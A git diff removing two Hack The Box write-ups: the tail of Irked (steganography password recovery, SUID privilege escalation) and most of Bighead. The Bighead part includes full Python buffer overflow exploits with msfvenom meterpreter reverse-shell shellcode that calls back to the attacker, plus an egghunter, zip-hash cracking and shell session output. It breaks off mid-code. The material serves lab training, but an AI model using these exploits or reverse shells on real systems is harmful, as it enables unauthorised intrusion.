password for some stego encoded file: -``` -djmardov@irked:~/Documents$ ls -la -ls -la -total 16 -drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 . -drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 04:40 .. --rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup --rw------- 1 djmardov djmardov 33 May 15 2018 user.txt -djmardov@irked:~/Documents$ cat .backup -cat .backup -Super elite steg backup pw -UPupDOWNdownLRlrBAbaSSss -``` - -Password: `UPupDOWNdownLRlrBAbaSSss` - -Since the note mentionned stego and this box is rated as easy, I guessed that it would be an off-the-shelf tool like `steghide` and not some custom obfuscation. The hidden file is found in the `irked.jpg` image from the main page and the steg doesn't use any passphrase. -``` -root@ragingunicorn:~/Downloads# steghide extract -sf irked.jpg -Enter passphrase: -wrote extracted data to "pass.txt". -root@ragingunicorn:~/Downloads# -root@ragingunicorn:~/Downloads# cat pass.txt -Kab6h+m+bbp2J:HG -``` - -djmardov's password is: `Kab6h+m+bbp2J:HG` - -I can SSH in and get the user flag: - -```console -djmardov@irked:~/Documents$ cat user.txt -cat user.txt -4a66a7... -``` - -### Priv esc - -I found a suspicious SUID file: `/usr/bin/viewuser` - -```console -djmardov@irked:~$ find / -perm /4000 2>/dev/null -find / -perm /4000 2>/dev/null -/usr/lib/dbus-1.0/dbus-daemon-launch-helper -/usr/lib/eject/dmcrypt-get-device -/usr/lib/policykit-1/polkit-agent-helper-1 -/usr/lib/openssh/ssh-keysign -/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper -/usr/sbin/exim4 -/usr/sbin/pppd -/usr/bin/chsh -/usr/bin/procmail -/usr/bin/gpasswd -/usr/bin/newgrp -/usr/bin/at -/usr/bin/pkexec -/usr/bin/X -/usr/bin/passwd -/usr/bin/chfn -/usr/bin/viewuser -``` - -When I execute the file, I see it runs `/tmp/listusers` - -``` -djmardov@irked:~$ /usr/bin/viewuser -This application is being devleoped to set and test user permissions -It is still being actively developed -(unknown) :0 2018-11-17 13:54 (:0) -djmardov pts/1 2018-11-17 14:19 (10.10.14.23) -sh: 1: /tmp/listusers: not found -``` - -Since it's a running as root and I have write access to `tmp` I can just copy `/bin/sh` to `/tmp/listusers` and gain root - -```console -djmardov@irked:~$ cp /bin/sh /tmp/listusers -djmardov@irked:~$ /usr/bin/viewuser -This application is being devleoped to set and test user permissions -It is still being actively developed -(unknown) :0 2018-11-17 13:54 (:0) -djmardov pts/1 2018-11-17 14:19 (10.10.14.23) -# cd /root -# cat root.txt -8d8e9e... -``` \ No newline at end of file diff --git a/_posts/2019-05-04-htb-writeup-bighead.md b/_posts/2019-05-04-htb-writeup-bighead.md deleted file mode 100644 index 714a4bd4f0..0000000000 --- a/_posts/2019-05-04-htb-writeup-bighead.md +++ /dev/null @@ -1,1248 +0,0 @@ ---- -layout: single -title: Bighead - Hack The Box -excerpt: "Bighead was an extremely difficult box by 3mrgnc3 that starts with website enumeration to find two sub-domains and determine there is a custom webserver software running behind an Nginx proxy. We then need to exploit a buffer overflow in the HEAD requests by creating a custom exploit. After getting a shell, there's some pivoting involved to access a limited SSH server, then an LFI to finally get a shell as SYSTEM. For the final stretch there is an NTFS alternate data stream with a Keepass file that contains the final flag." -date: 2019-05-04 -classes: wide -header: - teaser: /assets/images/htb-writeup-bighead/bighead_logo.png -categories: - - hackthebox - - infosec -tags: - - exploit development - - egghunter - - asm - - nginx - - php - - keepass - - lfi - - ntfs ads - - enumeration - - insane - - windows ---- - -![](/assets/images/htb-writeup-bighead/bighead_logo.png) - -Bighead was an extremely difficult box by 3mrgnc3 that starts with website enumeration to find two sub-domains and determine there is a custom webserver software running behind an Nginx proxy. We then need to exploit a buffer overflow in the HEAD requests by creating a custom exploit. After getting a shell, there's some pivoting involved to access a limited SSH server, then an LFI to finally get a shell as SYSTEM. For the final stretch there is an NTFS alternate data stream with a Keepass file that contains the final flag. - -This box took the big part of my weekend when it came out but unfortunately I didn't keep detailed notes about everything. It was especially hard going back when doing this writeup and remember about the 418 status code and the registry key for the SSH password. Note to self: Always clean-up my notes after doing a box. - -The exploit part is especially tricky since there isn't a lot of buffer space to work with so I had to put my second stage payload in memory first with a POST request then use an egghunter for the first stage payload. There's also another way to exploit this software without using an egghunter: We can use the `LoadLibrary` function to remotely load a .dll from our machine over SMB. I'll try to cover both in this blog post. - -## Summary - -- Find the `code.bighead.htb` sub-domain after dirbusting the main website -- Enumerate `code.bighead.htb`, find reference to `dev.bighead.htb` in one of the note file -- Find the BigheadWebSvr 1.0 webserver running by checking the `coffee` directory -- Search github and find that we can download the source code for the BigheadWebSvr webserver -- Analyse the binary and determine that it is vulnerable to a buffer overflow in HEAD requests -- Develop a working exploit locally on a 32 bits Windows 7 machine -- Adapt the exploit so it works through the Nginx reverse proxy -- Get a working reverse shell with the exploit and a metepreter payload -- Find a local SSH service listening on port 2020 then set up port forwarding to reach it -- Find the nginx SSH credentials by looking in the registry then log in to bvshell -- Find an LFI vulnerability in the Testlink application then use it to get a shell as NT AUTHORITY\SYSTEM -- Get the user.txt flag and find that the root.txt is accessible but contains a troll -- Notice that Keepass is installed and that the configuration file contains a keyfile name and database file of root.txt -- Find that there is an NTFS alternate data stream in the root.txt file that contains the hidden Keepass database file -- Download the admin.png keyfile, extract the hidden stream, extract the hash from the database file and crack it with John The Ripper -- Open the Keepass database file with the keyfile and password, then recover the root.txt hash from the database - -## Tools used - -- Immunity Debugger & x96dbg -- Metasploit -- keepass2john -- John The Ripper - -### Portscan - -There's a single port open and Nginx is listening on it: - -``` -# nmap -sC -sV -p- 10.10.10.112 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-28 21:03 EDT -Nmap scan report for bighead.htb (10.10.10.112) -Host is up (0.0076s latency). -Not shown: 65534 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http nginx 1.14.0 -|_http-server-header: nginx/1.14.0 -|_http-title: PiperNet Comes -``` - -### Website enumeration: bighead.htb - -The main website is a company front page with a contact form at the bottom. - -![](/assets/images/htb-writeup-bighead/webpage.png) - -I tried checking the contact form for any stored XSS but I couldn't find any. - -A quick scan with gobuster reveals interesting directories: `/backend` and `/updatecheck` - -``` -# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://bighead.htb -/.htpasswd (Status: 403) -/.htaccess (Status: 403) -/Images (Status: 301) -/assets (Status: 301) -/backend (Status: 302) -/images (Status: 301) -/updatecheck (Status: 302) -``` - -`backend` simply redirects to `http://bighead.htb/BigHead` and returns a 404 error. - -![](/assets/images/htb-writeup-bighead/404.png) - -However `/updatecheck` redirects to `http://code.bighead.htb/phpmyadmin/phpinfo.php`, so I'll add that sub-domain to the list of stuff to enumerate. - -![](/assets/images/htb-writeup-bighead/code.png) - -After adding the sub-domain I can get to the page and it returns a `phpinfo()` output. - -![](/assets/images/htb-writeup-bighead/phpadmin.png) - -I know the box is running `Windows Server 2008` and that it's 32 bits. - -### Website enumeration: code.bighead.htb - -If I try to browse `http://code.bighead.htb/` I'm redirected to `http://code.bighead.htb/testlink/` which has another javascript redirect script to `http://127.0.0.1:5080/testlink/`. - -Further enumeration with gobuster: -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 25 -u http://code.bighead.htb | grep -vi index -2018/11/24 14:54:15 Starting gobuster - -/images (Status: 301) -/img (Status: 301) -/assets (Status: 301) -/mail (Status: 301) -/dev (Status: 301) -/phpmyadmin (Status: 301) -/webalizer (Status: 301) -/dashboard (Status: 301) -/xampp (Status: 301) -/licenses (Status: 301) -/server-status (Status: 200) -/con (Status: 403) -/aux (Status: 403) -/error_log (Status: 403) -/prn (Status: 403) -/server-info (Status: 200) -``` - -A couple interesting directories like `phpmyadmin`, `dashboard` and `xampp` but the apps are broken by design and I can't do anything with them. I got some info about the server architecture from `http://code.bighead.htb/server-info?config` but that's about it: - -``` -Server Version: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36 -Server Architecture: 32-bit -``` - -It's interesting to note that the initial nmap scan found Nginx running on port 80 but here I have Apache running. That means Nginx is probably acting as a reverse proxy or load-balancer in front of Apache. - -Next, I enumerated the `/testlink` directory I found earlier and got the following: - -``` -# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://code.bighead.htb/testlink -s 200 -/LICENSE (Status: 200) -/ChangeLog (Status: 200) -/Index (Status: 200) -/changelog (Status: 200) -/error (Status: 200) -/index (Status: 200) -/license (Status: 200) -/linkto (Status: 200) -/note (Status: 200) -/plugin (Status: 200) -[...] -``` - -The `note` file is very interesting as it contains a hint: - -``` -BIGHEAD! You F%*#ing R*#@*d! - -STAY IN YOUR OWN DEV SUB!!!... - -You have literally broken the code testing app and tools I spent all night building for Richard! - -I don't want to see you in my code again! - -Dinesh. -``` - -So Bighead broke the app and Dinesh is telling him to get his own **DEV** sub-domain, maybe I should check if `dev.bighead.htb` exists... - -So after adding this sub-domain to the local hostfile, I can access a new page: - -![](/assets/images/htb-writeup-bighead/bighead.png) - -### Website enumeration: dev.bighead.htb - -Anything that has the word `blog` and `wp-content` in it hits an nginx rule and returns a false positive for anything that contains that. I didn't find anything when I ran gobuster but dirb found the `/coffee` directory because it looks for more status codes by default. - -``` -# dirb http://dev.bighead.htb - -GENERATED WORDS: 4612 - ----- Scanning URL: http://dev.bighead.htb/ ---- -+ http://dev.bighead.htb/blog (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blog_ajax (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blog_inlinemod (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blog_report (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blog_search (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blog_usercp (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blogger (CODE:302|SIZE:161) -+ http://dev.bighead.htb/bloggers (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blogindex (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blogs (CODE:302|SIZE:161) -+ http://dev.bighead.htb/blogspot (CODE:302|SIZE:161) -+ http://dev.bighead.htb/coffee (CODE:418|SIZE:46) -+ http://dev.bighead.htb/wp-content (CODE:302|SIZE:161) -``` - -The `/coffee` directory contains a funny teapot 418 error message. - -![](/assets/images/htb-writeup-bighead/coffee.png) - -I also see it's running a different webserver: `BigheadWebSvr 1.0` - -``` -# curl --head dev.bighead.htb/coffee -HTTP/1.1 200 OK -Date: Tue, 27 Nov 2018 02:20:48 GMT -Content-Type: text/html -Content-Length: 13456 -Connection: keep-alive -Server: BigheadWebSvr 1.0 -``` - -Google shows a github repository for that software: [https://github.com/3mrgnc3/BigheadWebSvr](https://github.com/3mrgnc3/BigheadWebSvr) - -![](/assets/images/htb-writeup-bighead/git1.png) - -I download `BHWS_Backup.zip` and saw that the zip file was encrypted. I can extract the hash and crack it with John: - -``` -# zip2john BHWS_Backup.zip > hash.txt -BHWS_Backup.zip->BHWS_Backup/ is not encrypted! -BHWS_Backup.zip->BHWS_Backup/conf/ is not encrypted! -# cat hash.txt -BHWS_Backup.zip:$zip2$*0*3*0*231ffea3729caa2f37a865b0dca373d7*d63f*49*61c6e7d2949fb22573c57dec460346954bba23dffb11f1204d4a6bc10e91b4559a6b984884fcb376ea1e2925b127b5f6721c4ef486c481738b94f08ac09df30c30d2ae3eb8032c586f*28c1b9eb8b0e1769b4d3*$/zip2$:::::BHWS_Backup.zip -``` - -``` -# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x]) -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -2 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s -3 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s -4 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s -thepiedpiper89 (BHWS_Backup.zip) -1 1g 0:00:00:00 DONE (2018-11-26 21:41) 100.0g/s 100.0p/s 100.0c/s 100.0C/s thepiedpiper89 -Waiting for 3 children to terminate -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -Password is : `thepiedpiper89` - -The archive contains the following files: - -``` --rw-r--r-- 1 root root 75 Jul 14 2018 BigheadWebSvr_exe_NOTICE.txt -drwx------ 2 root root 4096 Jul 2 2018 conf --rw-r--r-- 1 root root 1103 Jun 23 2018 fastcgi.conf --rw-r--r-- 1 root root 1032 Jun 23 2018 fastcgi_params --rw-r--r-- 1 root root 2946 Jun 23 2018 koi-utf --rw-r--r-- 1 root root 2326 Jun 23 2018 koi-win --rw-r--r-- 1 root root 5265 Jun 23 2018 mime.types --rw-r--r-- 1 root root 4523 Jul 2 2018 nginx.conf --rw-r--r-- 1 root root 653 Jun 23 2018 scgi_params --rw-r--r-- 1 root root 681 Jun 23 2018 uwsgi_params --rw-r--r-- 1 root root 3736 Jun 23 2018 win-utf -``` - -The .exe in the archive was replaced with a note instead: - -``` -# cat BigheadWebSvr_exe_NOTICE.txt -I removed this vulnerable crapware from the archive - -love -Gilfoyle... :D -``` - -The file history on Github shows an older copy of the zip file: - -![](/assets/images/htb-writeup-bighead/git2.png) - -I downloaded the file then tried to extract it but the password is not `thepiedpiper89`. I cracked the password again and found the older commit uses `bighead` as the archive password. After extracting the file I can see there is a `BigheadWebSvr.exe` binary in there instead of the note. - -``` -# ls -l -total 132 --rw-r--r-- 1 root root 28540 Jul 2 16:33 bHeadSvr.dll -drwx------ 2 root root 4096 Jul 2 19:56 BHWS_Backup --rw-r--r-- 1 root root 51431 Jul 2 16:33 BigheadWebSvr.exe -drwx------ 2 root root 4096 Jul 2 19:57 conf --rw-r--r-- 1 root root 1103 Jun 23 11:50 fastcgi.conf --rw-r--r-- 1 root root 1032 Jun 23 11:50 fastcgi_params --rw-r--r-- 1 root root 2946 Jun 23 11:50 koi-utf --rw-r--r-- 1 root root 2326 Jun 23 11:50 koi-win --rw-r--r-- 1 root root 5265 Jun 23 11:50 mime.types --rw-r--r-- 1 root root 4523 Jul 2 15:34 nginx.conf --rw-r--r-- 1 root root 653 Jun 23 11:50 scgi_params --rw-r--r-- 1 root root 681 Jun 23 11:50 uwsgi_params --rw-r--r-- 1 root root 3736 Jun 23 11:50 win-utf -``` - -``` -# file BigheadWebSvr.exe -BigheadWebSvr.exe: PE32 executable (console) Intel 80386, for MS Windows -``` - -There is also an nginx config file which shows the following interesting stuff: - -``` -location / { - # Backend server to forward requests to/from - proxy_pass http://127.0.0.1:8008; - proxy_cache_convert_head off; - proxy_cache_key $scheme$proxy_host$request_uri$request_method; - proxy_http_version 1.1; - - # adds gzip - gzip_static on; - } - -location /coffee { - # Backend server to forward requests to/from - #rewrite /coffee /teapot/ redirect; - #return 418; - proxy_pass http://127.0.0.1:8008; - proxy_cache_convert_head off; - proxy_intercept_errors off; - proxy_cache_key $scheme$proxy_host$request_uri$request_method; - proxy_http_version 1.1; - proxy_pass_header Server; - # adds gzip - gzip_static on; - } -``` - -So, both requests to `/` and `/coffee` on dev.bighead.htb are served by that crap custom webserver but only `/coffee` reveals the server header because of the `proxy_pass_header Server` config file. - -### Exploit development (Method #1 using egghunter) - -After opening the .exe file in IDA Free, I saw that the binary was compiled with Mingw. From what I googled, none of the protections like DEP/NX are enabled by default when compiling with mingw so that should make exploitation easier. - -![](/assets/images/htb-writeup-bighead/exploit/mingw.png) - -The main function sets up up the socket listener and creates a `ConnectionHandler` thread when it receives a connection: - -![](/assets/images/htb-writeup-bighead/exploit/connectionhandler.png) - -The `ConnectionHandler` has multiple branches for the different HTTP methods. The `HEAD` request calls the `Function4` function. - -![](/assets/images/htb-writeup-bighead/exploit/head.png) - -![](/assets/images/htb-writeup-bighead/exploit/function4.png) - -The function uses an insecure `strcpy` to move data around so it's possible there is a buffer overflow. - -![](/assets/images/htb-writeup-bighead/exploit/strcpy.png) - -I used the open-source [x32/64dbg](https://x64dbg.com/) debugger to debug the software. - -I setup a breakpoint at the end of `Function4` just before it returns. - -![](/assets/images/htb-writeup-bighead/exploit/breakpoint.png) - -First, I test with a small payload that should not crash the server just to see if it catches the breakpoint and what the memory layout looks like. - -`curl --head http://172.23.10.186:8008/AAAAAAAAAAAAAA` - -The program stops at the breakpoint and `EAX` contains the memory address where the HEAD request is located. - -![](/assets/images/htb-writeup-bighead/exploit/normal.png) - -The memory at `0x175FB28` contains part of the HEAD request. - -Next, I try sending 100 bytes and see if I can crash the program. - -`curl --head http://172.23.10.186:8008/$(python -c 'print "A"*100')` - -The program crashes, and I can see that the `EIP` register was overwritten by `AAAAAAAA` which is not a valid address here. - -![](/assets/images/htb-writeup-bighead/exploit/crash.png) - -Next I have to find the exact amount of data to push to overwrite EIP. After I few minutes I was able to find the exact offset: - -`curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("B"*8))')` - -![](/assets/images/htb-writeup-bighead/exploit/offset.png) - -I used mona in Immunity Debugger to confirm that no protection are enabled on `BigheadWebSvr.exe` - -![](/assets/images/htb-writeup-bighead/exploit/protections.png) - -Now I need to redirect the execution of the program to the `EAX` register value since this is where my payload will be located. I will use mona to look for gadgets in the program that I can use to jump to. Specifically, I'm looking for the memory address of a `JMP EAX` instruction. - -![](/assets/images/htb-writeup-bighead/exploit/jmpeax.png) - -I found a gadget at address `0x625012f2` in the bHeadSvr.dll. No protection is enabled on this DLL. - -To test, I'll replace `BBBBBBBB` from my payload with the memory address of the `JMP EAX`. Notice the address is in the reverse order to respect the endianess. - -`curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("f2125062"))')` - -After the function returns, the `EIP` points to the `JMP EAX` instruction. - -![](/assets/images/htb-writeup-bighead/exploit/jmpeax2.png) - -Then it jumps to the memory address of `EAX`. We see here we only have 36 bytes of buffer space to work with. - -![](/assets/images/htb-writeup-bighead/exploit/jmpeax3.png) - -I'll align the stack first by pushing and popping the `EAX` value into `ESP`. To find the opcode for this I used `nasm_shell.rb` from Metasploit: - -``` -# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb -nasm > push eax -00000000 50 push eax -nasm > pop esp -00000000 5C pop esp -``` - -Edit: In retrospect I don't this part was required for this exploit, the exploit should have worked anyways because it doesn't push/pop stuff off the stack. - -Since I don't have much buffer space to work with I'll use a 32 bytes egghunter. Basically the egghunter is a small shellcode that looks for a marker (the egg) in memory and jumps to it when it finds it. This is the first stage of the exploit, the 2nd stage will be the rest of the shellcode we want to execute and we'll need to place it in memory with another HTTP request. Mona can generate the code for the egghunter. By default it uses the string `w00t` for the egg. - -![](/assets/images/htb-writeup-bighead/exploit/egghunter.png) - -The first stage payload is: -- Align stack -- Egghunter shellcode -- JMP EAX - -The second stage payload is: -- w00tw00t (egg) -- meterpreter payload - -The exploit tested locally on my Win7 VM is shown here: - -```python -#!/usr/bin/python - -from pwn import * - -''' -# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=172.23.10.39 LPORT=80 -[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload -[-] No arch selected, selecting arch: x86 from the payload -Found 11 compatible encoders -Attempting to encode payload with 1 iterations of x86/shikata_ga_nai -x86/shikata_ga_nai succeeded with size 368 (iteration=0) -x86/shikata_ga_nai chosen with final size 368 -Payload size: 368 bytes -Final size of python file: 1772 bytes -''' - -egg = "\x77\x30\x30\x74" # w00t -payload = egg + egg -payload += "\xbf\x33\x30\xf9\x54\xdd\xc2\xd9\x74\x24\xf4\x5a\x29" -payload += "\xc9\xb1\x56\x31\x7a\x13\x83\xea\xfc\x03\x7a\x3c\xd2" -payload += "\x0c\xa8\xaa\x90\xef\x51\x2a\xf5\x66\xb4\x1b\x35\x1c" -payload += "\xbc\x0b\x85\x56\x90\xa7\x6e\x3a\x01\x3c\x02\x93\x26" -payload += "\xf5\xa9\xc5\x09\x06\x81\x36\x0b\x84\xd8\x6a\xeb\xb5" -payload += "\x12\x7f\xea\xf2\x4f\x72\xbe\xab\x04\x21\x2f\xd8\x51" -payload += "\xfa\xc4\x92\x74\x7a\x38\x62\x76\xab\xef\xf9\x21\x6b" -payload += "\x11\x2e\x5a\x22\x09\x33\x67\xfc\xa2\x87\x13\xff\x62" -payload += "\xd6\xdc\xac\x4a\xd7\x2e\xac\x8b\xdf\xd0\xdb\xe5\x1c" -payload += "\x6c\xdc\x31\x5f\xaa\x69\xa2\xc7\x39\xc9\x0e\xf6\xee" -payload += "\x8c\xc5\xf4\x5b\xda\x82\x18\x5d\x0f\xb9\x24\xd6\xae" -payload += "\x6e\xad\xac\x94\xaa\xf6\x77\xb4\xeb\x52\xd9\xc9\xec" -payload += "\x3d\x86\x6f\x66\xd3\xd3\x1d\x25\xbb\x10\x2c\xd6\x3b" -payload += "\x3f\x27\xa5\x09\xe0\x93\x21\x21\x69\x3a\xb5\x30\x7d" -payload += "\xbd\x69\xfa\xee\x43\x8a\xfa\x27\x80\xde\xaa\x5f\x21" -payload += "\x5f\x21\xa0\xce\x8a\xdf\xaa\x58\x99\x08\xa1\xbf\x89" -payload += "\x34\xb5\xbf\x19\xb1\x53\xef\xc9\x91\xcb\x50\xba\x51" -payload += "\xbc\x38\xd0\x5e\xe3\x59\xdb\xb5\x8c\xf0\x34\x63\xe4" -payload += "\x6c\xac\x2e\x7e\x0c\x31\xe5\xfa\x0e\xb9\x0f\xfa\xc1" -payload += "\x4a\x7a\xe8\x36\x2d\x84\xf0\xc6\xd8\x84\x9a\xc2\x4a" -payload += "\xd3\x32\xc9\xab\x13\x9d\x32\x9e\x20\xda\xcd\x5f\x10" -payload += "\x90\xf8\xf5\x1c\xce\x04\x1a\x9c\x0e\x53\x70\x9c\x66" -payload += "\x03\x20\xcf\x93\x4c\xfd\x7c\x08\xd9\xfe\xd4\xfc\x4a" -payload += "\x97\xda\xdb\xbd\x38\x25\x0e\xbe\x3f\xd9\xcc\xe9\xe7" -payload += "\xb1\x2e\xaa\x17\x41\x45\x2a\x48\x29\x92\x05\x67\x99" -payload += "\x5b\x8c\x20\xb1\xd6\x41\x82\x20\xe6\x4b\x42\xfc\xe7" -payload += "\x78\x5f\x0f\x9d\xf1\x60\xf0\x62\x18\x05\xf1\x62\x24" -payload += "\x3b\xce\xb4\x1d\x49\x11\x05\x1a\x42\x24\x28\x0b\xc9" -payload += "\x46\x7e\x4b\xd8" - -stage1 = "POST /coffee HTTP/1.1\r\n" -stage1 += "Host: dev.bighead.htb\r\n" -stage1 += "Content-Length: {}\r\n\r\n".format(len(payload)) -stage1 += payload + "\r\n" -stage1 += "\r\n" - -r = remote('172.23.10.186', 8008) -r.send(stage1) -r.recv() - -r = remote('172.23.10.186', 8008) -jmp_eax = "f2125062" -align_esp = "505C" # push eax, pop esp -egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7" -stage2 = align_esp + egghunter + "9090" + jmp_eax - -r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n") -``` - -When the egghunter is scanning memory, CPU usage goes to 100% for a few seconds. - -![](/assets/images/htb-writeup-bighead/exploit/cpu.png) - -When it hits the egg, it executes the meterpreter stager and we get a connection: - -``` -msf5 exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai -[*] Sending encoded stage (179808 bytes) to 172.23.10.186 -[*] Meterpreter session 1 opened (172.23.10.39:80 -> 172.23.10.186:49804) at 2019-05-03 19:37:47 -0400 - -msf5 exploit(multi/handler) > sessions 1 -[*] Starting interaction with 1... -``` - -Nice, the exploit works locally. - -But when I tried running it against Bighead it didn't work so I replicated the nginx setup locally in Win7 and found that the second stage shellcode was being URL encoded by nginx. To work around this I had to fix the POST request and remove the `Content-Type` header so it would not URL encode the payload then switch the content body to the raw shellcode (non URL-encoded). - -The final exploit looks like this: - -```python -#!/usr/bin/python - -from pwn import * -import requests - -''' -# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=10.10.14.23 LPORT=80 -[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload -[-] No arch selected, selecting arch: x86 from the payload -Found 11 compatible encoders -Attempting to encode payload with 1 iterations of x86/shikata_ga_nai -x86/shikata_ga_nai succeeded with size 368 (iteration=0) -x86/shikata_ga_nai chosen with final size 368 -Payload size: 368 bytes -Final size of python file: 1772 bytes -''' - -egg = "\x77\x30\x30\x74" # w00t -payload = egg + egg -payload += "\xb8\xc3\x06\x6e\xa1\xd9\xcd\xd9\x74\x24\xf4\x5f\x2b" -payload += "\xc9\xb1\x56\x83\xef\xfc\x31\x47\x0f\x03\x47\xcc\xe4" -payload += "\x9b\x5d\x3a\x6a\x63\x9e\xba\x0b\xed\x7b\x8b\x0b\x89" -payload += "\x08\xbb\xbb\xd9\x5d\x37\x37\x8f\x75\xcc\x35\x18\x79" -payload += "\x65\xf3\x7e\xb4\x76\xa8\x43\xd7\xf4\xb3\x97\x37\xc5" -payload += "\x7b\xea\x36\x02\x61\x07\x6a\xdb\xed\xba\x9b\x68\xbb" -payload += "\x06\x17\x22\x2d\x0f\xc4\xf2\x4c\x3e\x5b\x89\x16\xe0" -payload += "\x5d\x5e\x23\xa9\x45\x83\x0e\x63\xfd\x77\xe4\x72\xd7" -payload += "\x46\x05\xd8\x16\x67\xf4\x20\x5e\x4f\xe7\x56\x96\xac" -payload += "\x9a\x60\x6d\xcf\x40\xe4\x76\x77\x02\x5e\x53\x86\xc7" -payload += "\x39\x10\x84\xac\x4e\x7e\x88\x33\x82\xf4\xb4\xb8\x25" -payload += "\xdb\x3d\xfa\x01\xff\x66\x58\x2b\xa6\xc2\x0f\x54\xb8" -payload += "\xad\xf0\xf0\xb2\x43\xe4\x88\x98\x0b\xc9\xa0\x22\xcb" -payload += "\x45\xb2\x51\xf9\xca\x68\xfe\xb1\x83\xb6\xf9\xc0\x84" -payload += "\x48\xd5\x6a\xc4\xb6\xd6\x8a\xcc\x7c\x82\xda\x66\x54" -payload += "\xab\xb1\x76\x59\x7e\x2f\x7d\xcd\x8b\xa5\x8f\x1a\xe4" -payload += "\xbb\x8f\x24\xa4\x32\x69\x74\x14\x14\x26\x35\xc4\xd4" -payload += "\x96\xdd\x0e\xdb\xc9\xfe\x30\x36\x62\x94\xde\xee\xda" -payload += "\x01\x46\xab\x91\xb0\x87\x66\xdc\xf3\x0c\x82\x20\xbd" -payload += "\xe4\xe7\x32\xaa\x92\x07\xcb\x2b\x37\x07\xa1\x2f\x91" -payload += "\x50\x5d\x32\xc4\x96\xc2\xcd\x23\xa5\x05\x31\xb2\x9f" -payload += "\x7e\x04\x20\x9f\xe8\x69\xa4\x1f\xe9\x3f\xae\x1f\x81" -payload += "\xe7\x8a\x4c\xb4\xe7\x06\xe1\x65\x72\xa9\x53\xd9\xd5" -payload += "\xc1\x59\x04\x11\x4e\xa2\x63\x21\x89\x5c\xf1\x0e\x32" -payload += "\x34\x09\x0f\xc2\xc4\x63\x8f\x92\xac\x78\xa0\x1d\x1c" -payload += "\x80\x6b\x76\x34\x0b\xfa\x34\xa5\x0c\xd7\x99\x7b\x0c" -payload += "\xd4\x01\x8c\x77\x95\xb6\x6d\x88\xbf\xd2\x6e\x88\xbf" -payload += "\xe4\x53\x5e\x86\x92\x92\x62\xbd\xad\xa1\xc7\x94\x27" -payload += "\xc9\x54\xe6\x6d" - -data = {"payload": payload} -proxies = {"http": "http://127.0.0.1:8080"} - -s = requests.Session() -r = requests.Request("POST", "http://dev.bighead.htb/coffee/", data=data) -p = r.prepare() -p.body = payload -del p.headers["Content-Type"] -try: - s.send(p, proxies=proxies, timeout=0.2) -except requests.exceptions.ReadTimeout: - pass - -r = remote("10.10.10.112", 80) -jmp_eax = "f2125062" -align_esp = "505C" # push eax, pop esp -egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7" -stage2 = align_esp + egghunter + "9090" + jmp_eax - -r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n") -``` - -Launching exploit... -``` -# python exploit.py -[+] Opening connection to 10.10.10.112 on port 80: Done -[*] Closed connection to 10.10.10.112 port 80 - -msf5 exploit(multi/handler) > -[*] Encoded stage with x86/shikata_ga_nai -[*] Sending encoded stage (179808 bytes) to 10.10.10.112 -[*] Meterpreter session 4 opened (10.10.14.23:80 -> 10.10.10.112:49306) at 2019-05-03 20:47:52 -0400 - -msf5 exploit(multi/handler) > -msf5 exploit(multi/handler) > sessions 4 -[*] Starting interaction with 4... - -meterpreter > getuid -Server username: PIEDPIPER\Nelson -``` - -### Exploit development (Method #2 using LoadLibrary over SMB) - -Instead of using an egghunter, we can also use the `LoadLibrary` function to load a remote DLL hosted on our machine through the Impacket SMB server. Using the debugger, I can see that the `LoadLibrary` is exported from `bheadsrv.dll` at address `0x625070C8`. - -![](/assets/images/htb-writeup-bighead/exploit/loadlibrary.png) - -The function is simple and only expects a single parameter: the filename of the DLL file: - -``` -HMODULE LoadLibraryA( - LPCSTR lpLibFileName -); -``` - -The exploit uses the same `JMP EAX` gadget to jump to the beginning of the buffer. Then we align the stack, and set `EAX` past the buffer and we push it to the stack: this will contain the address of the string of our SMB server. Finally we move the address of `LoadLibrary` into `EBX` then `CALL EBX` to call the function. The filename argument for `LoadLibrary` is popped from the stack and the DLL is then loaded. - -``` -nasm > add al, 0x28 -00000000 0428 add al,0x28 - -nasm > push eax -00000000 50 push eax - -nasm > mov ebx, 0x62501B58 -00000000 BB581B5062 mov ebx,0x62501b58 - -nasm > call ebx -00000000 FFD3 call ebx -``` - -The final exploit looks like this: - -```python -#!/usr/bin/python -from pwn 